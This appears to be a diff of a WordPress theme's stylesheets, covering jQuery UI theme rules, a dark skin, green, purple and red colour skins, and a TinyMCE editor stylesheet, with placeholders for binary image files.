.ui-state-error, .ui-widget-content .ui-state-error, .ui-widget-header .ui-state-error {border: 1px solid #cd0a0a; background: #fef1ec url(images/ui-bg_glass_95_fef1ec_1x400.png) 50% 50% repeat-x; color: #cd0a0a; }
.ui-state-error a, .ui-widget-content .ui-state-error a, .ui-widget-header .ui-state-error a { color: #cd0a0a; }
.ui-state-error-text, .ui-widget-content .ui-state-error-text, .ui-widget-header .ui-state-error-text { color: #cd0a0a; }
.ui-priority-primary, .ui-widget-content .ui-priority-primary, .ui-widget-header .ui-priority-primary { font-weight: bold; }
.ui-priority-secondary, .ui-widget-content .ui-priority-secondary, .ui-widget-header .ui-priority-secondary { opacity: .7; filter:Alpha(Opacity=70); font-weight: normal; }
.ui-state-disabled, .ui-widget-content .ui-state-disabled, .ui-widget-header .ui-state-disabled { opacity: .35; filter:Alpha(Opacity=35); background-image: none; }
/* Icons
----------------------------------*/
/* states and images */
.ui-icon { width: 16px; height: 16px; background-image: url(images/ui-icons_222222_256x240.png); }
.ui-widget-content .ui-icon {background-image: url(images/ui-icons_222222_256x240.png); }
.ui-widget-header .ui-icon {background-image: url(images/ui-icons_222222_256x240.png); }
.ui-state-default .ui-icon { background-image: url(images/ui-icons_888888_256x240.png); }
.ui-state-hover .ui-icon, .ui-state-focus .ui-icon {background-image: url(images/ui-icons_454545_256x240.png); }
.ui-state-active .ui-icon {background-image: url(images/ui-icons_454545_256x240.png); }
.ui-state-highlight .ui-icon {background-image: url(images/ui-icons_2e83ff_256x240.png); }
.ui-state-error .ui-icon, .ui-state-error-text .ui-icon {background-image: url(images/ui-icons_cd0a0a_256x240.png); }
/* positioning */
.ui-icon-carat-1-n { background-position: 0 0; }
.ui-icon-carat-1-ne { background-position: -16px 0; }
.ui-icon-carat-1-e { background-position: -32px 0; }
.ui-icon-carat-1-se { background-position: -48px 0; }
.ui-icon-carat-1-s { background-position: -64px 0; }
.ui-icon-carat-1-sw { background-position: -80px 0; }
.ui-icon-carat-1-w { background-position: -96px 0; }
.ui-icon-carat-1-nw { background-position: -112px 0; }
.ui-icon-carat-2-n-s { background-position: -128px 0; }
.ui-icon-carat-2-e-w { background-position: -144px 0; }
.ui-icon-triangle-1-n { background-position: 0 -16px; }
.ui-icon-triangle-1-ne { background-position: -16px -16px; }
.ui-icon-triangle-1-e { background-position: -32px -16px; }
.ui-icon-triangle-1-se { background-position: -48px -16px; }
.ui-icon-triangle-1-s { background-position: -64px -16px; }
.ui-icon-triangle-1-sw { background-position: -80px -16px; }
.ui-icon-triangle-1-w { background-position: -96px -16px; }
.ui-icon-triangle-1-nw { background-position: -112px -16px; }
.ui-icon-triangle-2-n-s { background-position: -128px -16px; }
.ui-icon-triangle-2-e-w { background-position: -144px -16px; }
.ui-icon-arrow-1-n { background-position: 0 -32px; }
.ui-icon-arrow-1-ne { background-position: -16px -32px; }
.ui-icon-arrow-1-e { background-position: -32px -32px; }
.ui-icon-arrow-1-se { background-position: -48px -32px; }
.ui-icon-arrow-1-s { background-position: -64px -32px; }
.ui-icon-arrow-1-sw { background-position: -80px -32px; }
.ui-icon-arrow-1-w { background-position: -96px -32px; }
.ui-icon-arrow-1-nw { background-position: -112px -32px; }
.ui-icon-arrow-2-n-s { background-position: -128px -32px; }
.ui-icon-arrow-2-ne-sw { background-position: -144px -32px; }
.ui-icon-arrow-2-e-w { background-position: -160px -32px; }
.ui-icon-arrow-2-se-nw { background-position: -176px -32px; }
.ui-icon-arrowstop-1-n { background-position: -192px -32px; }
.ui-icon-arrowstop-1-e { background-position: -208px -32px; }
.ui-icon-arrowstop-1-s { background-position: -224px -32px; }
.ui-icon-arrowstop-1-w { background-position: -240px -32px; }
.ui-icon-arrowthick-1-n { background-position: 0 -48px; }
.ui-icon-arrowthick-1-ne { background-position: -16px -48px; }
.ui-icon-arrowthick-1-e { background-position: -32px -48px; }
.ui-icon-arrowthick-1-se { background-position: -48px -48px; }
.ui-icon-arrowthick-1-s { background-position: -64px -48px; }
.ui-icon-arrowthick-1-sw { background-position: -80px -48px; }
.ui-icon-arrowthick-1-w { background-position: -96px -48px; }
.ui-icon-arrowthick-1-nw { background-position: -112px -48px; }
.ui-icon-arrowthick-2-n-s { background-position: -128px -48px; }
.ui-icon-arrowthick-2-ne-sw { background-position: -144px -48px; }
.ui-icon-arrowthick-2-e-w { background-position: -160px -48px; }
.ui-icon-arrowthick-2-se-nw { background-position: -176px -48px; }
.ui-icon-arrowthickstop-1-n { background-position: -192px -48px; }
.ui-icon-arrowthickstop-1-e { background-position: -208px -48px; }
.ui-icon-arrowthickstop-1-s { background-position: -224px -48px; }
.ui-icon-arrowthickstop-1-w { background-position: -240px -48px; }
.ui-icon-arrowreturnthick-1-w { background-position: 0 -64px; }
.ui-icon-arrowreturnthick-1-n { background-position: -16px -64px; }
.ui-icon-arrowreturnthick-1-e { background-position: -32px -64px; }
.ui-icon-arrowreturnthick-1-s { background-position: -48px -64px; }
.ui-icon-arrowreturn-1-w { background-position: -64px -64px; }
.ui-icon-arrowreturn-1-n { background-position: -80px -64px; }
.ui-icon-arrowreturn-1-e { background-position: -96px -64px; }
.ui-icon-arrowreturn-1-s { background-position: -112px -64px; }
.ui-icon-arrowrefresh-1-w { background-position: -128px -64px; }
.ui-icon-arrowrefresh-1-n { background-position: -144px -64px; }
.ui-icon-arrowrefresh-1-e { background-position: -160px -64px; }
.ui-icon-arrowrefresh-1-s { background-position: -176px -64px; }
.ui-icon-arrow-4 { background-position: 0 -80px; }
.ui-icon-arrow-4-diag { background-position: -16px -80px; }
.ui-icon-extlink { background-position: -32px -80px; }
.ui-icon-newwin { background-position: -48px -80px; }
.ui-icon-refresh { background-position: -64px -80px; }
.ui-icon-shuffle { background-position: -80px -80px; }
.ui-icon-transfer-e-w { background-position: -96px -80px; }
.ui-icon-transferthick-e-w { background-position: -112px -80px; }
.ui-icon-folder-collapsed { background-position: 0 -96px; }
.ui-icon-folder-open { background-position: -16px -96px; }
.ui-icon-document { background-position: -32px -96px; }
.ui-icon-document-b { background-position: -48px -96px; }
.ui-icon-note { background-position: -64px -96px; }
.ui-icon-mail-closed { background-position: -80px -96px; }
.ui-icon-mail-open { background-position: -96px -96px; }
.ui-icon-suitcase { background-position: -112px -96px; }
.ui-icon-comment { background-position: -128px -96px; }
.ui-icon-person { background-position: -144px -96px; }
.ui-icon-print { background-position: -160px -96px; }
.ui-icon-trash { background-position: -176px -96px; }
.ui-icon-locked { background-position: -192px -96px; }
.ui-icon-unlocked { background-position: -208px -96px; }
.ui-icon-bookmark { background-position: -224px -96px; }
.ui-icon-tag { background-position: -240px -96px; }
.ui-icon-home { background-position: 0 -112px; }
.ui-icon-flag { background-position: -16px -112px; }
.ui-icon-calendar { background-position: -32px -112px; }
.ui-icon-cart { background-position: -48px -112px; }
.ui-icon-pencil { background-position: -64px -112px; }
.ui-icon-clock { background-position: -80px -112px; }
.ui-icon-disk { background-position: -96px -112px; }
.ui-icon-calculator { background-position: -112px -112px; }
.ui-icon-zoomin { background-position: -128px -112px; }
.ui-icon-zoomout { background-position: -144px -112px; }
.ui-icon-search { background-position: -160px -112px; }
.ui-icon-wrench { background-position: -176px -112px; }
.ui-icon-gear { background-position: -192px -112px; }
.ui-icon-heart { background-position: -208px -112px; }
.ui-icon-star { background-position: -224px -112px; }
.ui-icon-link { background-position: -240px -112px; }
.ui-icon-cancel { background-position: 0 -128px; }
.ui-icon-plus { background-position: -16px -128px; }
.ui-icon-plusthick { background-position: -32px -128px; }
.ui-icon-minus { background-position: -48px -128px; }
.ui-icon-minusthick { background-position: -64px -128px; }
.ui-icon-close { background-position: -80px -128px; }
.ui-icon-closethick { background-position: -96px -128px; }
.ui-icon-key { background-position: -112px -128px; }
.ui-icon-lightbulb { background-position: -128px -128px; }
.ui-icon-scissors { background-position: -144px -128px; }
.ui-icon-clipboard { background-position: -160px -128px; }
.ui-icon-copy { background-position: -176px -128px; }
.ui-icon-contact { background-position: -192px -128px; }
.ui-icon-image { background-position: -208px -128px; }
.ui-icon-video { background-position: -224px -128px; }
.ui-icon-script { background-position: -240px -128px; }
.ui-icon-alert { background-position: 0 -144px; }
.ui-icon-info { background-position: -16px -144px; }
.ui-icon-notice { background-position: -32px -144px; }
.ui-icon-help { background-position: -48px -144px; }
.ui-icon-check { background-position: -64px -144px; }
.ui-icon-bullet { background-position: -80px -144px; }
.ui-icon-radio-off { background-position: -96px -144px; }
.ui-icon-radio-on { background-position: -112px -144px; }
.ui-icon-pin-w { background-position: -128px -144px; }
.ui-icon-pin-s { background-position: -144px -144px; }
.ui-icon-play { background-position: 0 -160px; }
.ui-icon-pause { background-position: -16px -160px; }
.ui-icon-seek-next { background-position: -32px -160px; }
.ui-icon-seek-prev { background-position: -48px -160px; }
.ui-icon-seek-end { background-position: -64px -160px; }
.ui-icon-seek-start { background-position: -80px -160px; }
/* ui-icon-seek-first is deprecated, use ui-icon-seek-start instead */
.ui-icon-seek-first { background-position: -80px -160px; }
.ui-icon-stop { background-position: -96px -160px; }
.ui-icon-eject { background-position: -112px -160px; }
.ui-icon-volume-off { background-position: -128px -160px; }
.ui-icon-volume-on { background-position: -144px -160px; }
.ui-icon-power { background-position: 0 -176px; }
.ui-icon-signal-diag { background-position: -16px -176px; }
.ui-icon-signal { background-position: -32px -176px; }
.ui-icon-battery-0 { background-position: -48px -176px; }
.ui-icon-battery-1 { background-position: -64px -176px; }
.ui-icon-battery-2 { background-position: -80px -176px; }
.ui-icon-battery-3 { background-position: -96px -176px; }
.ui-icon-circle-plus { background-position: 0 -192px; }
.ui-icon-circle-minus { background-position: -16px -192px; }
.ui-icon-circle-close { background-position: -32px -192px; }
.ui-icon-circle-triangle-e { background-position: -48px -192px; }
.ui-icon-circle-triangle-s { background-position: -64px -192px; }
.ui-icon-circle-triangle-w { background-position: -80px -192px; }
.ui-icon-circle-triangle-n { background-position: -96px -192px; }
.ui-icon-circle-arrow-e { background-position: -112px -192px; }
.ui-icon-circle-arrow-s { background-position: -128px -192px; }
.ui-icon-circle-arrow-w { background-position: -144px -192px; }
.ui-icon-circle-arrow-n { background-position: -160px -192px; }
.ui-icon-circle-zoomin { background-position: -176px -192px; }
.ui-icon-circle-zoomout { background-position: -192px -192px; }
.ui-icon-circle-check { background-position: -208px -192px; }
.ui-icon-circlesmall-plus { background-position: 0 -208px; }
.ui-icon-circlesmall-minus { background-position: -16px -208px; }
.ui-icon-circlesmall-close { background-position: -32px -208px; }
.ui-icon-squaresmall-plus { background-position: -48px -208px; }
.ui-icon-squaresmall-minus { background-position: -64px -208px; }
.ui-icon-squaresmall-close { background-position: -80px -208px; }
.ui-icon-grip-dotted-vertical { background-position: 0 -224px; }
.ui-icon-grip-dotted-horizontal { background-position: -16px -224px; }
.ui-icon-grip-solid-vertical { background-position: -32px -224px; }
.ui-icon-grip-solid-horizontal { background-position: -48px -224px; }
.ui-icon-gripsmall-diagonal-se { background-position: -64px -224px; }
.ui-icon-grip-diagonal-se { background-position: -80px -224px; }
/* Misc visuals
----------------------------------*/
/* Corner radius */
.ui-corner-tl { -moz-border-radius-topleft: 4px; -webkit-border-top-left-radius: 4px; border-top-left-radius: 4px; }
.ui-corner-tr { -moz-border-radius-topright: 4px; -webkit-border-top-right-radius: 4px; border-top-right-radius: 4px; }
.ui-corner-bl { -moz-border-radius-bottomleft: 4px; -webkit-border-bottom-left-radius: 4px; border-bottom-left-radius: 4px; }
.ui-corner-br { -moz-border-radius-bottomright: 4px; -webkit-border-bottom-right-radius: 4px; border-bottom-right-radius: 4px; }
.ui-corner-top { -moz-border-radius-topleft: 4px; -webkit-border-top-left-radius: 4px; border-top-left-radius: 4px; -moz-border-radius-topright: 4px; -webkit-border-top-right-radius: 4px; border-top-right-radius: 4px; }
.ui-corner-bottom { -moz-border-radius-bottomleft: 4px; -webkit-border-bottom-left-radius: 4px; border-bottom-left-radius: 4px; -moz-border-radius-bottomright: 4px; -webkit-border-bottom-right-radius: 4px; border-bottom-right-radius: 4px; }
.ui-corner-right { -moz-border-radius-topright: 4px; -webkit-border-top-right-radius: 4px; border-top-right-radius: 4px; -moz-border-radius-bottomright: 4px; -webkit-border-bottom-right-radius: 4px; border-bottom-right-radius: 4px; }
.ui-corner-left { -moz-border-radius-topleft: 4px; -webkit-border-top-left-radius: 4px; border-top-left-radius: 4px; -moz-border-radius-bottomleft: 4px; -webkit-border-bottom-left-radius: 4px; border-bottom-left-radius: 4px; }
.ui-corner-all { -moz-border-radius: 4px; -webkit-border-radius: 4px; border-radius: 4px; }
/* Overlays */
.ui-widget-overlay { background: #aaaaaa url(images/ui-bg_flat_0_aaaaaa_40x100.png) 50% 50% repeat-x; opacity: .30;filter:Alpha(Opacity=30); }
.ui-widget-shadow { margin: -8px 0 0 -8px; padding: 8px; background: #aaaaaa url(images/ui-bg_flat_0_aaaaaa_40x100.png) 50% 50% repeat-x; opacity: .30;filter:Alpha(Opacity=30); -moz-border-radius: 8px; -webkit-border-radius: 8px; border-radius: 8px; }/* Accordion
----------------------------------*/
.ui-accordion .ui-accordion-header { cursor: pointer; position: relative; margin-top: 1px; zoom: 1; }
.ui-accordion .ui-accordion-li-fix { display: inline; }
.ui-accordion .ui-accordion-header-active { border-bottom: 0 !important; }
.ui-accordion .ui-accordion-header a { display: block; padding: .3em .3em .3em .7em; color: #000; }
/* IE7-/Win - Fix extra vertical space in lists */
.ui-accordion a { zoom: 1; }
.ui-accordion-icons .ui-accordion-header a { padding-left: 1.6em; }
.ui-accordion .ui-accordion-header .ui-icon { position: absolute; left: .5em; top: 50%; margin-top: -8px; }
.ui-accordion .ui-accordion-content { padding: 1em 1em; border-top: 0; margin-top: -2px; position: relative; top: 1px; margin-bottom: 2px; overflow: auto; display: none; zoom: 1; }
.ui-accordion .ui-accordion-content-active { display: block; }/* Tabs
----------------------------------*/
.ui-tabs { position: relative; padding: .2em; zoom: 1; } /* position: relative prevents IE scroll bug (element with position: relative inside container with overflow: auto appear as "fixed") */
.ui-tabs .ui-tabs-nav { margin: 0; padding: .2em .2em 0; }
.ui-tabs .ui-tabs-nav li { list-style: none; float: left; position: relative; top: 1px; margin: 0 .2em 1px 0; border-bottom: 0 !important; padding: 0; white-space: nowrap; }
.ui-tabs .ui-tabs-nav li a { float: left; padding: .5em 1em; text-decoration: none; }
.ui-tabs .ui-tabs-nav li.ui-tabs-selected { margin-bottom: 0; padding-bottom: 1px; }
.ui-tabs .ui-tabs-nav li.ui-tabs-selected a, .ui-tabs .ui-tabs-nav li.ui-state-disabled a, .ui-tabs .ui-tabs-nav li.ui-state-processing a { cursor: text; }
.ui-tabs .ui-tabs-nav li a, .ui-tabs.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-selected a { cursor: pointer; } /* first selector in group seems obsolete, but required to overcome bug in Opera applying cursor: text overall if defined elsewhere... */
.ui-tabs .ui-tabs-panel { display: block; border-width: 0; padding: 1em 1.4em; background: none; }
.ui-tabs .ui-tabs-hide { display: none !important; }
.ui-tabs.ui-widget-content { border: 0;}

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 180 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 178 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 120 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 105 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 111 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 110 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 119 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 101 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.3 KiB

View File

@ -0,0 +1,423 @@
body {
font-size: 14px;
}
pre, code, tt
{
font: 13px 'andale mono', 'lucida console', monospace;
line-height: 1.5;
padding: 20px;
background: #222;
}
#wrapper {
background: #003756;
}
#footer
{
background: #004971;
}
#header_wrapper
{
background: #0079bc url('../images/featuredbg.jpg') no-repeat top ;
height: 140px;
border-bottom: 2px solid #001623;
}
.page_caption
{
background: transparent;
border: none;
padding-top: 0;
}
.caption_desc {
font-size: 16px;
}
#top_bar
{
background: #004971;
}
#menu_wrapper {
/*padding: 4px 10px 2px 0;*/
}
#menu_wrapper .nav ul, #menu_wrapper div .nav {
font-size: 15px;
font-family: 'Lucida Grande',Arial,Verdana,sans-serif;
}
#menu_wrapper .nav ul li a,
#menu_wrapper .menu-main-menu-container .nav li a
{
color: #EEF8FE;
text-shadow: 0 1px 1px #000;
/*padding: 15px 17px;*/
}
#menu_wrapper .nav ul li ul,
#menu_wrapper .menu-main-menu-container .nav li ul
{
border-top: 1px solid #000;
border-bottom: 1px solid #000;
-moz-box-shadow: 0 1px 5px #000;
-webkit-box-shadow: 0 1px 5px #000;
box-shadow: 0px 1px 5px #000;
}
#menu_wrapper .menu-main-menu-container .nav li ul li a,
#menu_wrapper .menu-main-menu-container .nav li.current-menu-item ul li a,
#menu_wrapper .menu-main-menu-container .nav li ul li.current-menu-item a
{
/*color: #ccc;*/
}
#menu_wrapper .menu-main-menu-container .nav li ul li a.hover
{
background: transparent url('../images/menu_hover_dark.png') top repeat-x;
color: #fff;
}
.logo {
margin: 13px 10px 0 20px;
}
#content_wrapper {
border-top: 2px solid #001623;
}
#content_wrapper ul {
margin-left: 30px;
margin-bottom: 20px;
}
#content_wrapper,
.content_bg, #content_wrapper.content_bg
{
background: #0079bc;
-moz-box-shadow: 0 1px 3px #000;
-webkit-box-shadow: 0 1px 3px #000;
box-shadow: 0px 1px 3px #000;
/*color: #ccc;*/
text-shadow: none;
}
h1, h2, h3, h4, h5, .sidebar_content h1, .sidebar_content h2, .sidebar_content h3, .sidebar_content h4, .sidebar_content h5, .sidebar_content h6
{
text-shadow: 0 1px 1px #003756;
font-weight: bold;
}
#content_wrapper .inner .inner_wrapper .sidebar_wrapper
{
border-left: 1px solid #37A3DE;
}
#anything_slider .arrow.forward
{
background: transparent url('../images/right_slide_nav_dark.png') no-repeat;
}
#anything_slider .arrow.back
{
background: transparent url('../images/left_slide_nav_dark.png') no-repeat;
}
.nivo-prevNav {
background: transparent url('../images/left_slide_nav_dark.png') no-repeat;
}
.nivo-nextNav {
background: transparent url('../images/right_slide_nav_dark.png') no-repeat;
}
.roundabout-moveable-item {
background: #000;
border: 1px solid #37A3DE;
-webkit-box-shadow: 1px 1px 5px #000;
-moz-box-shadow: 1px 1px 5px #000;
box-shadow: 1px 1px 5px #000;
}
img.frame
{
border: 1px solid #37A3DE;
}
.frame_left
{
border: 1px solid #37A3DE;
}
.frame_left .caption, .frame_right .caption, .frame_center .caption
{
/*color: #ccc;*/
}
.frame_right
{
border: 1px solid #37A3DE;
}
.frame_center
{
border: 1px solid #37A3DE;
}
#content_wrapper .sidebar .content .posts.blog li img, #content_wrapper .posts.blog li img
{
border: 1px solid #37A3DE;
}
input[type=text], input[type=password], select
{
border: 1px solid #37A3DE;
}
input[type=text].blur
{
color: #fff;
}
textarea
{
color: #ccc;
border: 1px solid #37A3DE;
}
input[type=text]:hover, input[type=password]:hover, textarea:hover
{
border: 1px solid #fff;
-moz-box-shadow: 0 1px 3px #000;
-webkit-box-shadow: 0 1px 3px #000;
box-shadow: 0px 1px 3px #000;
}
input[type=text], input[type=password], select
{
background: #003756;
}
.pricing_box
{
border: 1px solid #37A3DE;
}
.pricing_box .header
{
color: #fff;
text-shadow: 0 1px 1px #000;
border-bottom: 1px solid #37A3DE;
background: #333 url('../images/caption_bg_dark.png') bottom repeat-x;
}
.pricing_box.large
{
background: transparent;
-moz-box-shadow: 0 1px 10px #000;
-webkit-box-shadow: 0 1px 10px #000;
box-shadow: 0px 1px 10px #000;
}
.post_header .post_detail, .recent_post_detail
{
border-top: 1px solid #37A3DE;
border-bottom: 1px solid #37A3DE;
}
.post_header a
{
color: #fff;
}
.post_header h3 a
{
color: #fff;
}
.post_header a:hover
{
color: #fff;
}
.post_img img
{
border: 1px solid #37A3DE;
}
.post_img_date
{
background: #000;
color: #fff;
text-shadow: 0 0 0 #000;
}
#respond
{
border-bottom: 1px solid #37A3DE;
}
#about_the_author
{
border-bottom: 1px solid #37A3DE;
}
.related_posts
{
border-bottom: 1px solid #37A3DE;
}
#about_the_author .thumb img
{
border: 1px solid #37A3DE;
}
.comment .left img.avatar
{
border: 1px solid #37A3DE;
background: #000;
}
.portfolio1_hover, .portfolio2_hover, .portfolio3_hover, .portfolio4_hover
{
background: #000
}
#content_wrapper table
{
border: 1px solid #37A3DE;
-moz-box-shadow: 0 1px 3px #000;
-webkit-box-shadow: 0 1px 3px #000;
box-shadow: 0px 1px 3px #000;
}
#content_wrapper table tr
{
background: #000;
}
#content_wrapper table tr td, #content_wrapper table tr th
{
border-bottom: 1px solid #37A3DE;
}
#content_wrapper table tr th
{
font-weight: bold;
background: #37A3DE url('../images/caption_bg_dark.png') bottom repeat-x;
text-align: left;
text-shadow: 0 1px 1px #000;
color: #fff;
}
.pagination a {
background: #222;
border: 1px solid #37A3DE;
color: #ccc;
text-shadow: 0 1px 1px #000;
}
.pagination a:hover {
-moz-box-shadow: 0 1px 3px #000;
-webkit-box-shadow: 0 1px 3px #000;
box-shadow: 0px 1px 3px #000;
border: 1px solid #37A3DE;
background: #37A3DE url('../images/caption_bg_dark.png') bottom repeat-x;
}
.pagination a:active, .pagination a.active {
color: #fff;
-moz-box-shadow: 0 1px 3px #000;
-webkit-box-shadow: 0 1px 3px #000;
box-shadow: 0px 1px 3px #000;
border: 1px solid #37A3DE;
background: #37A3DE url('../images/caption_bg_dark.png') bottom repeat-x;
}
.accordion
{
border: 1px solid #37A3DE;
-moz-box-shadow: 0 1px 3px #000;
-webkit-box-shadow: 0 1px 3px #000;
box-shadow: 0px 1px 3px #000;
}
.ui-accordion .ui-accordion-header
{
background: #333 url('../images/caption_bg_dark.png') center repeat-x;
}
.ui-accordion .ui-accordion-header a
{
color: #fff;
}
.accordion div
{
border-top: 1px solid #37A3DE;
}
.ui-widget-header
{
border-bottom: 1px solid #37A3DE;
}
.tabs .ui-state-default a
{
color: #ccc;
}
.tabs .ui-state-active, .tabs .ui-state-default
{
background: #000;
text-shadow: 0 1px 1px #000;
border: 1px solid #37A3DE;
}
.tabs .ui-tabs-panel
{
border: 1px solid #37A3DE;
-moz-box-shadow: 0 1px 3px #000;
-webkit-box-shadow: 0 1px 3px #000;
box-shadow: 0px 1px 3px #000;
background: #000 url('../images/caption_bg_dark.png') center repeat-x;
}
.tabs .ui-state-active a
{
color: #fff;
}
hr
{
border-top: 1px solid #37A3DE;
}
.line_shadow
{
height: 1px;
}
#content_wrapper .sidebar .content .sidebar_widget li ul.flickr li img, #footer .sidebar_widget li ul.flickr li img
{
border: 1px solid #37A3DE;
}
#footer {
border: none;
}
#footer .posts.blog li img
{
border: 1px solid #37A3DE;
}
#copyright {
border: none;
}

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1 @@
body { }

View File

@ -0,0 +1,25 @@
a
{
color: #6abc01;
text-decoration: none;
}
a:hover
{
color: #487f02;
}
#menu_wrapper .nav ul li a.hover, #menu_wrapper .nav ul li a:hover, #menu_wrapper .menu-main-menu-container .nav li a.hover, #menu_wrapper .menu-main-menu-container .nav li a:hover
{
color: #6abc01;
}
#menu_wrapper .menu-main-menu-container .nav li.current-menu-item a
{
color: #6abc01;
}
input[type=submit], input[type=button], a.button, a.button:hover, a.button:active
{
background: transparent url('../../images/skins/green_button_bg.png') no-repeat;
}

View File

@ -0,0 +1,25 @@
a
{
color: #8803a9;
text-decoration: none;
}
a:hover
{
color: #487f02;
}
#menu_wrapper .nav ul li a.hover, #menu_wrapper .nav ul li a:hover, #menu_wrapper .menu-main-menu-container .nav li a.hover, #menu_wrapper .menu-main-menu-container .nav li a:hover
{
color: #8803a9;
}
#menu_wrapper .menu-main-menu-container .nav li.current-menu-item a
{
color: #8803a9;
}
input[type=submit], input[type=button], a.button, a.button:hover, a.button:active
{
background: transparent url('../../images/skins/purple_button_bg.png') no-repeat;
}

View File

@ -0,0 +1,25 @@
a
{
color: #C90000;
text-decoration: none;
}
a:hover
{
color: #8D0000;
}
#menu_wrapper .nav ul li a.hover, #menu_wrapper .nav ul li a:hover, #menu_wrapper .menu-main-menu-container .nav li a.hover, #menu_wrapper .menu-main-menu-container .nav li a:hover
{
color: #C90000;
}
#menu_wrapper .menu-main-menu-container .nav li.current-menu-item a
{
color: #C90000;
}
input[type=submit], input[type=button], a.button, a.button:hover, a.button:active
{
background: transparent url('../../images/skins/red_button_bg.png') no-repeat;
}

View File

@ -0,0 +1,289 @@
/*
Theme Name: Starkers
*/
/*
Used to style the TinyMCE editor.
*/
html .mceContentBody {
max-width:640px;
}
* {
font-family: Georgia, "Bitstream Charter", serif;
color: #444;
line-height: 1.5;
}
p,
dl,
td,
th,
ul,
ol,
blockquote {
font-size: 16px;
}
tr th,
thead th,
label,
tr th,
thead th {
font-family: "Helvetica Neue", Arial, Helvetica, "Nimbus Sans L", sans-serif;
}
pre {
font-family: "Courier 10 Pitch", Courier, monospace;
}
code, code var {
font-family: Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace;
}
body, input, textarea {
font-size: 12px;
line-height: 18px;
}
hr {
background-color: #E7E7E7;
border:0;
height: 1px;
margin-bottom: 18px;
clear:both;
}
/* Text elements */
p {
margin-bottom: 18px;
}
ul {
list-style: square;
margin: 0 0 18px 1.5em;
}
ol {
list-style: decimal;
margin: 0 0 18px 1.5em;
}
ol ol {
list-style:upper-alpha;
}
ol ol ol {
list-style:lower-roman;
}
ol ol ol ol {
list-style:lower-alpha;
}
ul ul,
ol ol,
ul ol,
ol ul {
margin-bottom:0;
}
dl {
margin:0 0 24px 0;
}
dt {
font-weight: bold;
}
dd {
margin-bottom: 18px;
}
strong {
font-weight: bold;
color: #000;
}
cite,
em,
i {
font-style: italic;
border: none;
}
big {
font-size: 131.25%;
}
ins {
background: #FFFFCC;
border: none;
color: #333;
}
del {
text-decoration: line-through;
color: #555;
}
blockquote {
font-style: italic;
padding: 0 3em;
}
blockquote cite,
blockquote em,
blockquote i {
font-style: normal;
}
pre {
background: #f7f7f7;
color: #222;
line-height: 18px;
margin-bottom: 18px;
padding: 1.5em;
}
abbr,
acronym {
border-bottom: 1px dotted #666;
cursor: help;
}
ins {
text-decoration: none;
}
sup,
sub {
height: 0;
line-height: 1;
vertical-align: baseline;
position: relative;
font-size: 10px;
}
sup {
bottom: 1ex;
}
sub {
top: .5ex;
}
a:link {
color:#0066CC;
}
a:visited {
color:#743399;
}
a:active,
a:hover {
color: #FF4B33;
}
p,
ul,
ol,
dd,
pre,
hr {
margin-bottom:24px;
}
ul ul,
ol ol,
ul ol,
ol ul {
margin-bottom:0;
}
pre,
kbd,
tt,
var {
font-size: 15px;
line-height: 21px;
}
code {
font-size: 13px;
}
strong,
b,
dt,
th {
color: #000;
}
h1,
h2,
h3,
h4,
h5,
h6 {
color: #000;
margin: 0 0 20px 0;
line-height: 1.5em;
font-weight: normal;
}
h1 {
font-size: 2.4em;
}
h2 {
font-size: 1.8em;
}
h3 {
font-size: 1.4em;
}
h4 {
font-size: 1.2em;
}
h5 {
font-size: 1em;
}
h6 {
font-size: 0.9em;
}
table {
border: 1px solid #e7e7e7 !important;
text-align: left;
margin: 0 -1px 24px 0;
width: 100%;
border-collapse: collapse;
border-spacing: 0;
}
tr th,
thead th {
border: none !important;
color: #888;
font-size: 12px;
font-weight: bold;
line-height: 18px;
padding: 9px 24px;
}
tr td {
border: none !important;
border-top: 1px solid #e7e7e7 !important;
padding: 6px 24px;
}
img {
margin: 0;
max-width: 640px;
}
.alignleft,
img.alignleft {
display: inline;
float: left;
margin-right: 24px;
margin-top: 4px;
}
.alignright,
img.alignright {
display: inline;
float: right;
margin-left: 24px;
margin-top: 4px;
}
.aligncenter,
img.aligncenter {
clear: both;
display: block;
margin-left: auto;
margin-right: auto;
}
img.alignleft,
img.alignright,
img.aligncenter {
margin-bottom: 12px;
}
.wp-caption {
border: none;
background: #f1f1f1;
color: #888;
font-size: 12px;
line-height: 18px;
text-align: center;
margin-bottom: 20px;
padding: 4px;
-moz-border-radius: 0;
-khtml-border-radius: 0;
-webkit-border-radius: 0;
border-radius: 0;
}
.wp-caption img {
margin: 5px;
}
.wp-caption p.wp-caption-text {
margin: 0 0 4px;
}
.wp-smiley {
margin:0;
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 54 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 29 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 48 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 94 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 117 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 183 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 41 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 62 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 62 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 96 KiB

Binary file not shown.

